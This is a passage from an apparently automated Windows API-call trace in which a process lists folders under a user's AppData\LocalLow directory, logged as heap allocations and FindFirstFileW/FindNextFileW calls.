(HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283900 [0068.703] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x54) returned 0x3285c68 [0068.703] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2bf0 [0068.703] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31eda08 [0068.703] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 1 [0068.703] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283be0 [0068.703] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283900 [0068.703] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175a30 [0068.703] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2c88 [0068.703] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0068.703] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283d50 [0068.703] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 0 [0068.704] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.704] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.704] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abf90 [0068.704] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.704] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.704] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.704] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\") returned="IME12\\" [0068.704] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0068.704] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0068.704] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.704] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.704] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0068.704] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0068.704] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0068.704] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0068.704] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.704] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0068.704] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.704] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.704] PathFindFileNameW (pszPath="") returned="" [0068.704] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2bf0 [0068.704] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.726] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.726] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0068.727] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.727] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.727] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2bf0 [0068.727] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.727] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0068.727] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.727] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\") returned="IMJP12\\" [0068.727] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abf90 [0068.727] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0068.727] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.727] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.727] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0068.727] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0068.727] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0068.727] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0068.727] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.727] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0068.727] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.727] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.727] PathFindFileNameW (pszPath="") returned="" [0068.727] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0068.728] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.728] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.728] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0068.728] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.728] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.728] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2bf0 [0068.728] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.728] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0068.728] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.728] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\") returned="IMJP8_1\\" [0068.728] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.728] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abf90 [0068.728] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0068.728] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.728] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0068.728] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0068.728] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0068.729] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0068.729] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.729] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0068.729] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.729] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.729] PathFindFileNameW (pszPath="") returned="" [0068.729] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0068.729] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.729] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.729] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0068.729] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.729] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.729] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2bf0 [0068.729] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.729] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0068.729] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.730] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\") returned="IMJP9_0\\" [0068.730] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.730] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abf90 [0068.730] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0068.730] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.730] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0068.730] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0068.730] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0068.730] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0068.730] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.730] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0068.730] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.730] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.730] PathFindFileNameW (pszPath="") returned="" [0068.730] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0068.730] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.730] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.730] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0068.730] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.731] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.731] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.731] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.731] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31eda08 [0068.731] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.731] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0068.731] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0068.731] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abf90 [0068.731] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0068.731] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.731] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0068.731] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0068.731] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0068.731] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0068.731] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.731] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.731] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.731] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.731] PathFindFileNameW (pszPath="") returned="" [0068.731] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31eda08 [0068.731] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.732] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.732] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DOMStore", cAlternateFileName="")) returned 1 [0068.732] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283be0 [0068.732] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283900 [0068.732] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa8) returned 0x315d2d0 [0068.732] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2bf0 [0068.732] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31eda08 [0068.732] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283e08 [0068.732] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283ec0 [0068.733] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0068.733] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283be0 [0068.733] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 0 [0068.733] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.733] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.733] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.733] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0068.733] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0068.733] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0068.733] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0068.733] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.733] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.733] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.733] PathFindFileNameW (pszPath="") returned="" [0068.733] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.734] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, 